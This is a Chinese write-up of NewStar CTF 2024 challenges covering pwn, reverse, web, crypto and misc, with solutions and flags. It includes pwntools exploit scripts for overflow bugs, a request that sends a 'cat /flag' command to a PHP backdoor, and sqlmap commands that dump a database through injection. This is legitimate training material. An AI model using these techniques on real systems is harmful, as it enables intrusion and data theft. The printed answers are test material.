NewStar CTF 2024 部分wp

Pwn

Real Login

unsigned __int64 func()
{
  char buf[56]; // [rsp+0h] [rbp-40h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("your input: ");
  read(0, buf, 0x30uLL);
  if ( !strncmp(buf, password, 0xAuLL) )
    win();
  return v2 - __readfsqword(0x28u);
}

点击 password, 其值为 NewStar!!! ,输入即可得到 flag.

Game

void __noreturn game()
{
  int v0; // [rsp+0h] [rbp-10h] BYREF
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  v0 = 0;
  puts("Let's play a game!");
  alarm(5u);
  while ( 1 )
  {
    printf("pls input you num: ");
    __isoc99_scanf("%d", &v0);
    if ( v0 < 0 || v0 > 10 )
      break;
    v1 += v0;
    if ( v1 > 999 )
      system("/bin/sh");
  }
  exit(-1);
}

一直加一直加,超出 999 就可以拿到控制权了。

from pwn import *

# io = process('./pwn')
io = remote("101.200.139.65", 33201)

context.log_level = 'debug'

io.recvuntil('pls input you num: ')

n = 100
for i in range(n):
    io.sendline(b'10')

io.interactive()

overwrite

unsigned __int64 func()
{
  int nbytes; // [rsp+Ch] [rbp-84h] BYREF
  size_t nbytes_4; // [rsp+10h] [rbp-80h] BYREF
  char nptr[72]; // [rsp+40h] [rbp-50h] BYREF
  unsigned __int64 v4; // [rsp+88h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("pls input the length you want to readin: ");
  __isoc99_scanf("%d", &nbytes);
  if ( nbytes > 48 )
    exit(0);
  printf("pls input want you want to say: ");
  read(0, &nbytes_4, (unsigned int)nbytes);
  if ( atoi(nptr) <= 114514 )
  {
    puts("bad ,your wallet is empty");
  }
  else
  {
    puts("oh you have the money to get flag");
    getflag();
  }
  return v4 - __readfsqword(0x28u);
}

限制长度 48,不够我们溢出到另一个变量。而这个程序愚蠢地在 read 中对 nbytes 使用了 unsigned int, 这样只要把 nbytes 设置成 -1 就能获得极大的输入空间。

注意,判断中对 nptr 使用了 atoi, 说明我们输入的必须是个字符串格式的数字。末尾记得加 ‘\x00’.

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
# io = process('./pwn')
io = remote('101.200.139.65', 33311)

# gdb.attach(io, "b *$rebase(0x1426)")

io.recvuntil('pls input the length you want to readin: ')
io.sendline(b'-1')

io.recvuntil('pls input want you want to say: ')
payload = flat(
    b'a' * 0x30,
    b'114515\x00'
)
io.send(payload)
io.interactive()

gdb

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  size_t v3; // rax
  size_t v4; // rax
  int fd; // [rsp+0h] [rbp-440h]
  char s[9]; // [rsp+7h] [rbp-439h] BYREF
  __int64 v8[4]; // [rsp+10h] [rbp-430h] BYREF
  char buf[1032]; // [rsp+30h] [rbp-410h] BYREF
  unsigned __int64 v10; // [rsp+438h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  strcpy(s, "0d000721");
  qmemcpy(v8, "mysecretkey1234567890abcdefghijk", sizeof(v8));
  printf("Original: %s\n", s);
  v3 = strlen(s);
  sub_12E5(s, v3, v8);
  printf("Input your encrypted data: ");
  read(0, buf, 0x200uLL);
  v4 = strlen(s);
  if ( !memcmp(s, buf, v4) )
  {
    printf("Congratulations!");
    fd = open("/flag", 0);
    memset(buf, 0, 0x100uLL);
    read(fd, buf, 0x100uLL);
    write(1, buf, 0x100uLL);
  }
  return 0LL;
}

题目都说了用 gdb,只要开调试就可以窃取判断时候的答案。

from pwn import *

io = process('./gdb')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(io, 'b *$rebase(0x1872)')
io.recv()
io.send(b'1111')

io.interactive()

得到答案直接上交即可获得控制权:

from pwn import *

# io = process('./gdb')
io = remote("101.200.139.65", 39545)
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# gdb.attach(io, 'b *$rebase(0x1872)')

io.recv()
# io.send(b'1111')
io.send(p64(0x4557455355431d5d))

io.interactive()

reverse

begin

按照提示获取各部分 flag 即可。

part1:flag{Mak3_aN_
part2:3Ff0rt_tO_5eArcH_
part3:F0r_th3_f14g_C0Rpse}

flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}

base64

__int64 sub_14000EF40()
{
  char Str[112]; // [rsp+20h] [rbp-F8h] BYREF
  char Str1[136]; // [rsp+90h] [rbp-88h] BYREF

  sub_1400017B0();
  sub_140001450("Enter the flag: ");
  sub_1400014A0(&unk_140011000, Str);
  if ( strlen(Str) == 26 && (sub_1400014E0(Str, 26i64, Str1), !strcmp(Str1, "g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc=")) )
  {
    sub_140001450("Correct flag!\n");
    sub_140001450("Welcome to NewStar!");
  }
  else
  {
    sub_140001450("Wrong flag, try again.\n");
  }
  Sleep(0x3E8u);
  return 0i64;
}

一眼就是自定义 base64 编码,扔到在线编码/解码器里面就能得到答案。

Simple_encryption

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int k; // [rsp+24h] [rbp-Ch]
  int j; // [rsp+28h] [rbp-8h]
  int i; // [rsp+2Ch] [rbp-4h]

  _main(argc, argv, envp);
  puts("please input your flag:");
  for ( i = 0; i < len; ++i )
    scanf("%c", &input[i]);
  for ( j = 0; j < len; ++j )
  {
    if ( !(j % 3) )
      input[j] -= 31;
    if ( j % 3 == 1 )
      input[j] += 41;
    if ( j % 3 == 2 )
      input[j] ^= 0x55u;
  }
  for ( k = 0; k < len; ++k )
  {
    printf("0x%02x ", input[k]);
    if ( input[k] != buffer[k] )
    {
      printf("error");
      return 0;
    }
  }
  putchar(10);
  printf("success!");
  return 0;
}

根据加密算法倒推解密算法即可:

buffer = [0x47, 0x95, 0x34, 0x48, 0x0A4, 0x1C, 0x35, 0x88, 0x64, 0x16, 0x88, 0x7, 0x14, 0x6A, 0x39, 0x12, 0x0A2, 0x0A, 0x37, 0x5C, 0x7, 0x5A, 0x56, 0x60, 0x12, 0x76, 0x25, 0x12, 0x8E, 0x28, 0x2]

def decrypt(encrypted_input):
    decrypted_output = []
    for j in range(len(encrypted_input)):
        if j % 3 == 0:
            decrypted_output.append(chr(encrypted_input[j] + 31))
        elif j % 3 == 1:
            decrypted_output.append(chr(encrypted_input[j] - 41))
        elif j % 3 == 2:
            decrypted_output.append(chr(encrypted_input[j] ^ 0x55))
    return ''.join(decrypted_output)

print(decrypt(buffer))

Web

headach3

查看请求头即可得到 flag.

会赢吗

进入 ‘/4cqu1siti0n’:

async function revealFlag(className) {
    try {
        const response = await fetch(`/api/flag/${className}`, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            }
        });
        if (response.ok) {
            const data = await response.json();
            console.log(`恭喜你!你获得了第二部分的 flag: ${data.flag}\n……\n时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/${data.nextLevel}`);
        } else {
            console.error('请求失败,请检查输入或服务器响应。');
        }
    } catch (error) {
        console.error('请求过程中出现错误:', error);
    }
}

// 控制台提示
console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");

直接在控制台调用该函数即可获得第二部分 flag.

进入 /s34l:

document.addEventListener('DOMContentLoaded', function () {
    const form = document.getElementById('seal_him');
    const stateElement = document.getElementById('state');
    const messageElement = document.getElementById('message');

    form.addEventListener('submit', async function (event) {
        event.preventDefault();


        if (stateElement.textContent.trim() !== '解封') {
            messageElement.textContent = '如何是好?';
            return;
        }

        try {
            const response = await fetch('/api/flag/s34l', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({ csrf_token: document.getElementById('csrf_token').value })
            });

            if (response.ok) {
                const data = await response.json();
                messageElement.textContent = `第三部分Flag: ${data.flag}, 你解救了五条悟!下一关: /${data.nextLevel || '无'}`;
            } else {
                messageElement.textContent = '请求失败,请重试。';
            }
        } catch (error) {
            messageElement.textContent = '请求过程中出现错误,请重试。';
        }
    });
});

只需要把 id=’state’ 的那块东西设置成 “解封” 即可。再次点击按钮,得到第三部分 flag.

进入/Ap3x:

<html lang="en"><head></head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>会赢吗?</title>
</head>

<body>
    <div class="overlay"></div>
    <div class="content">
        <h1>会赢吗?</h1>
        <h2>现代最强的归来,五条悟的复活宣言!</h2>
        <p>绝对的强者,由此而生的孤独,教会你爱的是....</p>
        <form id="winForm" action="/api/flag/Ap3x" method="post">
            <input type="hidden" name="csrf_token" id="csrf_token" value="hfaousghashgfasbasiouwrda1_">
            <button type="submit">会赢的!</button>
        </form>
        <noscript>
            <form class="s" action="/api/flag/Ap3x" method="post">
                <input type="hidden" name="csrf_token" id="csrf_token" value="hfaousghashgfasbasiouwrda1_">
                <button type="submit">无量空处!!</button>
            </form>
        </noscript>

        <p id="message"></p>
        </div>
        <script>
            document.querySelector('form').addEventListener('submit', function (event) {
                    event.preventDefault();
                    alert("宿傩的领域太强了,有什么办法让他的领域失效呢?");
                });

                (function () {
                    const originalConsoleLog = console.log;
                    console.log = function () {
                        originalConsoleLog.apply(console, arguments);
                        alert("你觉得你能这么简单地获取到线索?");
                    };
                })();
        </script>


</body></html>

浏览器设置禁用 javascript 即可执行 noscript 内的部分。

页面出现 “无量空处” 的按钮,点击进入即可获得第四部分的 flag.

拼接得到:ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9

base64 解码得到:flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}

智械危机

进入 /robots.txt, 得到提示:

User-agent: *
Disallow: /backd0or.php

查看这个 php 文件:

<?php

function execute_cmd($cmd) {
    system($cmd);
}

function decrypt_request($cmd, $key) {
    $decoded_key = base64_decode($key);
    $reversed_cmd = '';
    for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
        $reversed_cmd .= $cmd[$i];
    }
    $hashed_reversed_cmd = md5($reversed_cmd);
    if ($hashed_reversed_cmd !== $decoded_key) {
        die("Invalid key");
    }
    $decrypted_cmd = base64_decode($cmd);
    return $decrypted_cmd;
}

if (isset($_POST['cmd']) && isset($_POST['key'])) {
    execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
    highlight_file(__FILE__);
}
?>

易知我们需要提交一个 cmd 和对应的 key. 由于最后执行的是 base64_decode 以后的 cmd,所以我们传入的 cmd 需要进行 base64 编码。再算出对应的 key,发送请求即可获得 flag.

import requests

url = "http://eci-2zeikr1balxh0of046ux.cloudeci1.ichunqiu.com/backd0or.php"
data = {
    "cmd": "Y2F0IC9mbGFn",
    "key": "ODc5YTU5MWM2Nzg1YTRlMTM5OGI5NmE5YTFiYzY3ZWI="
}
# cmd: base64("cat /flag")
# key: base64(md5(reverse(base64("cat /flag"))))

response = requests.post(url, data=data)

print(response.text)

flag{e9be221e-5269-49b7-9258-f5a9f37b8fe1}

谢谢皮蛋

sql 注入。直接用 sqlmap 就能打通。注意 id 参数是先经过 base64 编码后再传入的。

python3 sqlmap.py -u "http://eci-2ze8nf94umqziwlnxr8y.cloudeci1.ichunqiu.com/" --data="id=MQ==" --base64="id" --dbs

盲猜 flag 在 ctf 这个数据库里面。

python3 sqlmap.py -u "http://eci-2ze8nf94umqziwlnxr8y.cloudeci1.ichunqiu.com/" --data="id=MQ==" --base64="id" -D ctf --tables

直接 dump 整个 Fl4g 表即可看到 flag:

python3 sqlmap.py -u "http://eci-2ze8nf94umqziwlnxr8y.cloudeci1.ichunqiu.com/" --data="id=MQ==" --base64="id" -D ctf -T Fl4g --dump

flag{67456905-2b08-4695-81e4-71a7ee8d5c5c}

Crypto

xor

利用 xor 的性质即可:

from pwn import xor
#The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths
from Crypto.Util.number import bytes_to_long

key = b'New_Star_CTF'
# flag='flag{*******************}'

# m1 = bytes_to_long(bytes(flag[:13], encoding='utf-8'))
# m2 = flag[13:]

# c1 = m1 ^ bytes_to_long(key)
# c2 = xor(key, m2)
# print('c1=',c1)
# print('c2=',c2)
c1 = 8091799978721254458294926060841
c2 = b';:\x1c1<\x03>*\x10\x11u;'

m1 = c1 ^ bytes_to_long(key)
m2 = xor(key, c2)

flag = bytes.fromhex(hex(m1)[2:]).decode('utf-8') + m2.decode('utf-8')
print(flag)

flag{0ops!_you_know_XOR!}

Base

连续两次 base64 解码即可

flag{B@sE_0f_CrYpt0_N0W}

一眼秒了

普普通通 RSA,先用 yafu 分解了,再倒回去就好了。

from sympy import mod_inverse
from Crypto.Util.number import *

# 已知参数
p = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093
q = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421
e = 65537
c = 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069

# 计算 n
n = p * q

# 计算 φ(n)
phi_n = (p - 1) * (q - 1)

# 计算 d (e 的模逆)
d = mod_inverse(e, phi_n)

# 计算明文 m
m = pow(c, d, n)

print(f"明文 m: {long_to_bytes(m)}")

Strange King

ksjr{EcxvpdErSvcDgdgEzxqjql}

结合加密后的 flag 和题目内容,猜测是凯撒密码的变种。全列出来以后观察可得 flag:

flag{PleaseDoNotStopLearing} (缺一个 n 是故意的吗?)

Misc

pleasingMusic

. ..- --- .-.- -.--.. . ... .-. --- -- -.--.. ..-- .

题目说正着听倒着听,故逆置后再摩斯解码即可。

WhereIsFlag

Labyrinth

题目提示了 LSB

Stegsolve 观察即可得到一张二维码:

扫描即可得到 flag.

flag{e33bb7a1-ac94-4d15-8ff7-fd8c88547b43}

兑换码

op 蒸虾头……

一眼就看出来图片长宽被改了,用 Notepad++ 将高度改得长一点就能看到 flag 了。

好好好,轻涟是吧……为数不多认得的法语……

上一篇
下一篇